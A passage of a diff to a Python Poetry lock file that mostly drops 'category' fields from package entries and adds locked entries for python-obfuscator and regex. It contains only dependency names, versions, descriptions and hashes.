-category = "main" optional = false python-versions = ">=3.7" files = [ @@ -967,7 +928,6 @@ files = [ name = "mypy-extensions" version = "1.0.0" description = "Type system extensions for programs checked with the mypy type checker." -category = "dev" optional = false python-versions = ">=3.5" files = [ @@ -979,7 +939,6 @@ files = [ name = "netifaces" version = "0.11.0" description = "Portable network interface information." -category = "main" optional = false python-versions = "*" files = [ @@ -1019,7 +978,6 @@ files = [ name = "numpy" version = "1.24.3" description = "Fundamental package for array computing in Python" -category = "main" optional = false python-versions = ">=3.8" files = [ @@ -1057,7 +1015,6 @@ files = [ name = "packaging" version = "23.1" description = "Core utilities for Python packages" -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -1069,7 +1026,6 @@ files = [ name = "passlib" version = "1.7.4" description = "comprehensive password hashing framework supporting over 30 schemes" -category = "main" optional = false python-versions = "*" files = [ @@ -1090,7 +1046,6 @@ totp = ["cryptography"] name = "pathspec" version = "0.11.1" description = "Utility library for gitignore style pattern matching of file paths." -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -1102,7 +1057,6 @@ files = [ name = "pefile" version = "2023.2.7" description = "Python PE parsing module" -category = "main" optional = false python-versions = ">=3.6.0" files = [ @@ -1114,7 +1068,6 @@ files = [ name = "platformdirs" version = "3.5.0" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -1130,7 +1083,6 @@ test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest- name = "pluggy" version = "1.0.0" description = "plugin and hook calling mechanisms for python" -category = "dev" optional = false python-versions = ">=3.6" files = [ @@ -1146,7 +1098,6 @@ testing = ["pytest", "pytest-benchmark"] name = "ply" version = "3.11" description = "Python Lex & Yacc" -category = "main" optional = false python-versions = "*" files = [ @@ -1158,7 +1109,6 @@ files = [ name = "prompt-toolkit" version = "3.0.38" description = "Library for building powerful interactive command lines in Python" -category = "main" optional = false python-versions = ">=3.7.0" files = [ @@ -1173,7 +1123,6 @@ wcwidth = "*" name = "py" version = "1.11.0" description = "library with cross-python path, ini-parsing, io, code, log facilities" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ @@ -1185,7 +1134,6 @@ files = [ name = "pyasn1" version = "0.5.0" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" -category = "main" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ @@ -1197,7 +1145,6 @@ files = [ name = "pyasn1-modules" version = "0.3.0" description = "A collection of ASN.1-based protocols modules" -category = "main" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ @@ -1212,7 +1159,6 @@ pyasn1 = ">=0.4.6,<0.6.0" name = "pycparser" version = "2.21" description = "C parser in Python" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" files = [ @@ -1224,7 +1170,6 @@ files = [ name = "pycryptodome" version = "3.17" description = "Cryptographic library for Python" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ @@ -1267,7 +1212,6 @@ files = [ name = "pydantic" version = "1.10.7" description = "Data validation and settings management using python type hints" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -1320,7 +1264,6 @@ email = ["email-validator (>=1.0.3)"] name = "pygame" version = "2.3.0" description = "Python Game Development" -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -1398,7 +1341,6 @@ files = [ name = "pyinstaller" version = "4.5.1" description = "PyInstaller bundles a Python application and all its dependencies into a single package." -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -1427,7 +1369,6 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] name = "pyinstaller-hooks-contrib" version = "2023.2" description = "Community maintained hooks for PyInstaller" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -1439,7 +1380,6 @@ files = [ name = "pymysql" version = "0.10.1" description = "Pure Python MySQL Driver" -category = "main" optional = false python-versions = "*" files = [ @@ -1455,7 +1395,6 @@ rsa = ["cryptography"] name = "pyopenssl" version = "22.0.0" description = "Python wrapper module around the OpenSSL library" -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -1474,7 +1413,6 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] name = "pyparsing" version = "3.0.9" description = "pyparsing module - Classes and methods to define and execute parsing grammars" -category = "main" optional = false python-versions = ">=3.6.8" files = [ @@ -1489,7 +1427,6 @@ diagrams = ["jinja2", "railroad-diagrams"] name = "pyperclip" version = "1.8.2" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" -category = "main" optional = false python-versions = "*" files = [ @@ -1500,7 +1437,6 @@ files = [ name = "PySecretSOCKS" version = "0.9.1" description = "A python SOCKS server for tunneling connections over another channel. Making implementing covert channels a breeze!" -category = "main" optional = false python-versions = "*" files = [] @@ -1516,7 +1452,6 @@ resolved_reference = "43c0beda33d5f7939d2a434a873b36fc395f6204" name = "pytest" version = "6.2.5" description = "pytest: simple powerful testing with Python" -category = "dev" optional = false python-versions = ">=3.6" files = [ @@ -1541,7 +1476,6 @@ testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xm name = "pytest-timeout" version = "2.1.0" description = "pytest plugin to abort hanging tests" -category = "dev" optional = false python-versions = ">=3.6" files = [ @@ -1556,7 +1490,6 @@ pytest = ">=5.0.0" name = "python-engineio" version = "4.4.1" description = "Engine.IO server and client for Python" -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -1572,7 +1505,6 @@ client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"] name = "python-jose" version = "3.3.0" description = "JOSE implementation in Python" -category = "main" optional = false python-versions = "*" files = [ @@ -1595,7 +1527,6 @@ pycryptodome = ["pyasn1", "pycryptodome (>=3.3.1,<4.0.0)"] name = "python-multipart" version = "0.0.5" description = "A streaming multipart parser for Python" -category = "main" optional = false python-versions = "*" files = [ @@ -1605,11 +1536,23 @@ files = [ [package.dependencies] six = ">=1.4.0" +[[package]] +name = "python-obfuscator" +version = "0.0.2" +description = "It's a python obfuscator." +optional = false +python-versions = "*" +files = [ + {file = "python_obfuscator-0.0.2.tar.gz", hash = "sha256:c2550faa80b076cb32a310b2ac203c996942856c57e3753019a41dc37ce9814b"}, +] + +[package.dependencies] +regex = "*" + [[package]] name = "python-socketio" version = "5.8.0" description = "Socket.IO server and client for Python" -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -1631,7 +1574,6 @@ client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"] name = "pyVNC" version = "0.1" description = "" -category = "main" optional = false python-versions = "*" files = [] @@ -1653,7 +1595,6 @@ resolved_reference = "a565e9b5f1c076ebcfda6234700b723e204bcafc" name = "pywin32-ctypes" version = "0.2.0" description = "" -category = "main" optional = false python-versions = "*" files = [ @@ -1665,7 +1606,6 @@ files = [ name = "pyyaml" version = "5.4.1" description = "YAML parser and emitter for Python" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" files = [ @@ -1700,11 +1640,107 @@ files = [ {file = "PyYAML-5.4.1.tar.gz", hash = "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"}, ] +[[package]] +name = "regex" +version = "2023.6.3" +description = "Alternative regular expression module, to replace re." +optional = false +python-versions = ">=3.6" +files = [ + {file = "regex-2023.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:824bf3ac11001849aec3fa1d69abcb67aac3e150a933963fb12bda5151fe1bfd"}, + {file = "regex-2023.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:05ed27acdf4465c95826962528f9e8d41dbf9b1aa8531a387dee6ed215a3e9ef"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b49c764f88a79160fa64f9a7b425620e87c9f46095ef9c9920542ab2495c8bc"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8e3f1316c2293e5469f8f09dc2d76efb6c3982d3da91ba95061a7e69489a14ef"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43e1dd9d12df9004246bacb79a0e5886b3b6071b32e41f83b0acbf293f820ee8"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4959e8bcbfda5146477d21c3a8ad81b185cd252f3d0d6e4724a5ef11c012fb06"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af4dd387354dc83a3bff67127a124c21116feb0d2ef536805c454721c5d7993d"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2239d95d8e243658b8dbb36b12bd10c33ad6e6933a54d36ff053713f129aa536"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:890e5a11c97cf0d0c550eb661b937a1e45431ffa79803b942a057c4fb12a2da2"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a8105e9af3b029f243ab11ad47c19b566482c150c754e4c717900a798806b222"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:25be746a8ec7bc7b082783216de8e9473803706723b3f6bef34b3d0ed03d57e2"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:3676f1dd082be28b1266c93f618ee07741b704ab7b68501a173ce7d8d0d0ca18"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:10cb847aeb1728412c666ab2e2000ba6f174f25b2bdc7292e7dd71b16db07568"}, + {file = "regex-2023.6.3-cp310-cp310-win32.whl", hash = "sha256:dbbbfce33cd98f97f6bffb17801b0576e653f4fdb1d399b2ea89638bc8d08ae1"}, + {file = "regex-2023.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:c5f8037000eb21e4823aa485149f2299eb589f8d1fe4b448036d230c3f4e68e0"}, + {file = "regex-2023.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c123f662be8ec5ab4ea72ea300359023a5d1df095b7ead76fedcd8babbedf969"}, + {file = "regex-2023.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9edcbad1f8a407e450fbac88d89e04e0b99a08473f666a3f3de0fd292badb6aa"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcba6dae7de533c876255317c11f3abe4907ba7d9aa15d13e3d9710d4315ec0e"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:29cdd471ebf9e0f2fb3cac165efedc3c58db841d83a518b082077e612d3ee5df"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:12b74fbbf6cbbf9dbce20eb9b5879469e97aeeaa874145517563cca4029db65c"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c29ca1bd61b16b67be247be87390ef1d1ef702800f91fbd1991f5c4421ebae8"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d77f09bc4b55d4bf7cc5eba785d87001d6757b7c9eec237fe2af57aba1a071d9"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ea353ecb6ab5f7e7d2f4372b1e779796ebd7b37352d290096978fea83c4dba0c"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:10590510780b7541969287512d1b43f19f965c2ece6c9b1c00fc367b29d8dce7"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2fbd6236aae3b7f9d514312cdb58e6494ee1c76a9948adde6eba33eb1c4264f"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:6b2675068c8b56f6bfd5a2bda55b8accbb96c02fd563704732fd1c95e2083461"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74419d2b50ecb98360cfaa2974da8689cb3b45b9deff0dcf489c0d333bcc1477"}, + {file = "regex-2023.6.3-cp311-cp311-win32.whl", hash = "sha256:fb5ec16523dc573a4b277663a2b5a364e2099902d3944c9419a40ebd56a118f9"}, + {file = "regex-2023.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:09e4a1a6acc39294a36b7338819b10baceb227f7f7dbbea0506d419b5a1dd8af"}, + {file = "regex-2023.6.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0654bca0cdf28a5956c83839162692725159f4cda8d63e0911a2c0dc76166525"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:463b6a3ceb5ca952e66550a4532cef94c9a0c80dc156c4cc343041951aec1697"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87b2a5bb5e78ee0ad1de71c664d6eb536dc3947a46a69182a90f4410f5e3f7dd"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6343c6928282c1f6a9db41f5fd551662310e8774c0e5ebccb767002fcf663ca9"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6192d5af2ccd2a38877bfef086d35e6659566a335b1492786ff254c168b1693"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74390d18c75054947e4194019077e243c06fbb62e541d8817a0fa822ea310c14"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:742e19a90d9bb2f4a6cf2862b8b06dea5e09b96c9f2df1779e53432d7275331f"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:8abbc5d54ea0ee80e37fef009e3cec5dafd722ed3c829126253d3e22f3846f1e"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:c2b867c17a7a7ae44c43ebbeb1b5ff406b3e8d5b3e14662683e5e66e6cc868d3"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d831c2f8ff278179705ca59f7e8524069c1a989e716a1874d6d1aab6119d91d1"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:ee2d1a9a253b1729bb2de27d41f696ae893507c7db224436abe83ee25356f5c1"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:61474f0b41fe1a80e8dfa70f70ea1e047387b7cd01c85ec88fa44f5d7561d787"}, + {file = "regex-2023.6.3-cp36-cp36m-win32.whl", hash = "sha256:0b71e63226e393b534105fcbdd8740410dc6b0854c2bfa39bbda6b0d40e59a54"}, + {file = "regex-2023.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bbb02fd4462f37060122e5acacec78e49c0fbb303c30dd49c7f493cf21fc5b27"}, + {file = "regex-2023.6.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b862c2b9d5ae38a68b92e215b93f98d4c5e9454fa36aae4450f61dd33ff48487"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976d7a304b59ede34ca2921305b57356694f9e6879db323fd90a80f865d355a3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:83320a09188e0e6c39088355d423aa9d056ad57a0b6c6381b300ec1a04ec3d16"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9427a399501818a7564f8c90eced1e9e20709ece36be701f394ada99890ea4b3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7178bbc1b2ec40eaca599d13c092079bf529679bf0371c602edaa555e10b41c3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:837328d14cde912af625d5f303ec29f7e28cdab588674897baafaf505341f2fc"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2d44dc13229905ae96dd2ae2dd7cebf824ee92bc52e8cf03dcead37d926da019"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d54af539295392611e7efbe94e827311eb8b29668e2b3f4cadcfe6f46df9c777"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7117d10690c38a622e54c432dfbbd3cbd92f09401d622902c32f6d377e2300ee"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bb60b503ec8a6e4e3e03a681072fa3a5adcbfa5479fa2d898ae2b4a8e24c4591"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:65ba8603753cec91c71de423a943ba506363b0e5c3fdb913ef8f9caa14b2c7e0"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:271f0bdba3c70b58e6f500b205d10a36fb4b58bd06ac61381b68de66442efddb"}, + {file = "regex-2023.6.3-cp37-cp37m-win32.whl", hash = "sha256:9beb322958aaca059f34975b0df135181f2e5d7a13b84d3e0e45434749cb20f7"}, + {file = "regex-2023.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fea75c3710d4f31389eed3c02f62d0b66a9da282521075061ce875eb5300cf23"}, + {file = "regex-2023.6.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8f56fcb7ff7bf7404becdfc60b1e81a6d0561807051fd2f1860b0d0348156a07"}, + {file = "regex-2023.6.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d2da3abc88711bce7557412310dfa50327d5769a31d1c894b58eb256459dc289"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99b50300df5add73d307cf66abea093304a07eb017bce94f01e795090dea87c"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5708089ed5b40a7b2dc561e0c8baa9535b77771b64a8330b684823cfd5116036"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:687ea9d78a4b1cf82f8479cab23678aff723108df3edeac098e5b2498879f4a7"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3850beab9f527f06ccc94b446c864059c57651b3f911fddb8d9d3ec1d1b25d"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8915cc96abeb8983cea1df3c939e3c6e1ac778340c17732eb63bb96247b91d2"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:841d6e0e5663d4c7b4c8099c9997be748677d46cbf43f9f471150e560791f7ff"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9edce5281f965cf135e19840f4d93d55b3835122aa76ccacfd389e880ba4cf82"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b956231ebdc45f5b7a2e1f90f66a12be9610ce775fe1b1d50414aac1e9206c06"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:36efeba71c6539d23c4643be88295ce8c82c88bbd7c65e8a24081d2ca123da3f"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:cf67ca618b4fd34aee78740bea954d7c69fdda419eb208c2c0c7060bb822d747"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b4598b1897837067a57b08147a68ac026c1e73b31ef6e36deeeb1fa60b2933c9"}, + {file = "regex-2023.6.3-cp38-cp38-win32.whl", hash = "sha256:f415f802fbcafed5dcc694c13b1292f07fe0befdb94aa8a52905bd115ff41e88"}, + {file = "regex-2023.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:d4f03bb71d482f979bda92e1427f3ec9b220e62a7dd337af0aa6b47bf4498f72"}, + {file = "regex-2023.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ccf91346b7bd20c790310c4147eee6ed495a54ddb6737162a36ce9dbef3e4751"}, + {file = "regex-2023.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b28f5024a3a041009eb4c333863d7894d191215b39576535c6734cd88b0fcb68"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e0bb18053dfcfed432cc3ac632b5e5e5c5b7e55fb3f8090e867bfd9b054dbcbf"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a5bfb3004f2144a084a16ce19ca56b8ac46e6fd0651f54269fc9e230edb5e4a"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c6b48d0fa50d8f4df3daf451be7f9689c2bde1a52b1225c5926e3f54b6a9ed1"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:051da80e6eeb6e239e394ae60704d2b566aa6a7aed6f2890a7967307267a5dc6"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4c3b7fa4cdaa69268748665a1a6ff70c014d39bb69c50fda64b396c9116cf77"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:457b6cce21bee41ac292d6753d5e94dcbc5c9e3e3a834da285b0bde7aa4a11e9"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:aad51907d74fc183033ad796dd4c2e080d1adcc4fd3c0fd4fd499f30c03011cd"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0385e73da22363778ef2324950e08b689abdf0b108a7d8decb403ad7f5191938"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c6a57b742133830eec44d9b2290daf5cbe0a2f1d6acee1b3c7b1c7b2f3606df7"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:3e5219bf9e75993d73ab3d25985c857c77e614525fac9ae02b1bebd92f7cecac"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e5087a3c59eef624a4591ef9eaa6e9a8d8a94c779dade95d27c0bc24650261cd"}, + {file = "regex-2023.6.3-cp39-cp39-win32.whl", hash = "sha256:20326216cc2afe69b6e98528160b225d72f85ab080cbdf0b11528cbbaba2248f"}, + {file = "regex-2023.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:bdff5eab10e59cf26bc479f565e25ed71a7d041d1ded04ccf9aee1d9f208487a"}, + {file = "regex-2023.6.3.tar.gz", hash = "sha256:72d1a25bf36d2050ceb35b517afe13864865268dfb45910e2e17a84be6cbfeb0"}, +] + [[package]] name = "requests" version = "2.29.0" description = "Python HTTP for Humans." -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -1726,7 +1762,6 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] name = "rsa" version = "4.9" description = "Pure-Python RSA implementation" -category = "main" optional = false python-versions = ">=3.6,<4" files = [ @@ -1741,7 +1776,6 @@ pyasn1 = ">=0.1.3" name = "ruff" version = "0.0.233" description = "An extremely fast Python linter, written in Rust." -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -1767,7 +1801,6 @@ files = [ name = "service-identity" version = "21.1.0" description = "Service identity verification for pyOpenSSL & cryptography." -category = "main" optional = false python-versions = "*" files = [ @@ -1792,7 +1825,6 @@ tests = ["coverage[toml] (>=5.0.2)", "pytest"] name = "setuptools" version = "67.7.2" description = "Easily download, build, install, upgrade, and uninstall Python packages" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -1809,7 +1841,6 @@ testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs ( name = "six" version = "1.16.0" description = "Python 2 and 3 compatibility utilities" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" files = [ @@ -1821,7 +1852,6 @@ files = [ name = "sniffio" version = "1.3.0" description = "Sniff out which async library your code is running under" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -1833,7 +1863,6 @@ files = [ name = "sqlalchemy" version = "1.4.47" description = "Database Abstraction Library" -category = "main" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ @@ -1881,7 +1910,7 @@ files = [ ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and platform_machine == \"aarch64\" or python_version >= \"3\" and platform_machine == \"ppc64le\" or python_version >= \"3\" and platform_machine == \"x86_64\" or python_version >= \"3\" and platform_machine == \"amd64\" or python_version >= \"3\" and platform_machine == \"AMD64\" or python_version >= \"3\" and platform_machine == \"win32\" or python_version >= \"3\" and platform_machine == \"WIN32\""} +greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"win32\" or platform_machine == \"WIN32\" or platform_machine == \"AMD64\" or platform_machine == \"amd64\" or platform_machine == \"x86_64\" or platform_machine == \"ppc64le\" or platform_machine == \"aarch64\")"} [package.extras] aiomysql = ["aiomysql", "greenlet (!=0.4.17)"] @@ -1908,7 +1937,6 @@ sqlcipher = ["sqlcipher3-binary"] name = "sqlalchemy-utc" version = "0.11.0" description = "SQLAlchemy type to store aware datetime values" -category = "main" optional = false python-versions = "*" files = [ @@ -1924,7 +1952,6 @@ SQLAlchemy = ">=0.9.0" name = "starlette" version = "0.16.0" description = "The little ASGI library that shines." -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -1942,7 +1969,6 @@ full = ["graphene", "itsdangerous", "jinja2", "python-multipart", "pyyaml", "req name = "stone" version = "3.3.1" description = "Stone is an interface description language (IDL) for APIs." -category = "main" optional = false python-versions = "*" files = [ @@ -1959,7 +1985,6 @@ six = ">=1.12.0" name = "terminaltables" version = "3.1.10" description = "Generate simple tables in terminals from a nested list of strings." -category = "main" optional = false python-versions = ">=2.6" files = [ @@ -1971,7 +1996,6 @@ files = [ name = "toml" version = "0.10.2" description = "Python Library for Tom's Obvious, Minimal Language" -category = "dev" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" files = [ @@ -1983,7 +2007,6 @@ files = [ name = "tomli" version = "2.0.1" description = "A lil' TOML parser" -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -1995,7 +2018,6 @@ files = [ name = "twisted" version = "22.10.0" description = "An asynchronous networking framework written in Python" -category = "main" optional = false python-versions = ">=3.7.1" files = [ @@ -2034,7 +2056,6 @@ windows-platform = ["PyHamcrest (>=1.9.0)", "appdirs (>=1.4.0)", "bcrypt (>=3.0. name = "twisted-iocpsupport" version = "1.0.3" description = "An extension for use in the twisted I/O Completion Ports reactor." -category = "main" optional = false python-versions = "*" files = [ @@ -2060,7 +2081,6 @@ files = [ name = "typing-extensions" version = "4.5.0" description = "Backported and Experimental Type Hints for Python 3.7+" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -2072,7 +2092,6 @@ files = [ name = "urllib3" version = "1.26.15" description = "HTTP library with thread-safe connection pooling, file post, and more." -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" files = [ @@ -2089,7 +2108,6 @@ socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] name = "uvicorn" version = "0.14.0" description = "The lightning-fast ASGI server." -category = "main" optional = false python-versions = "*" files = [ @@ -2103,13 +2121,12 @@ click = ">=7" 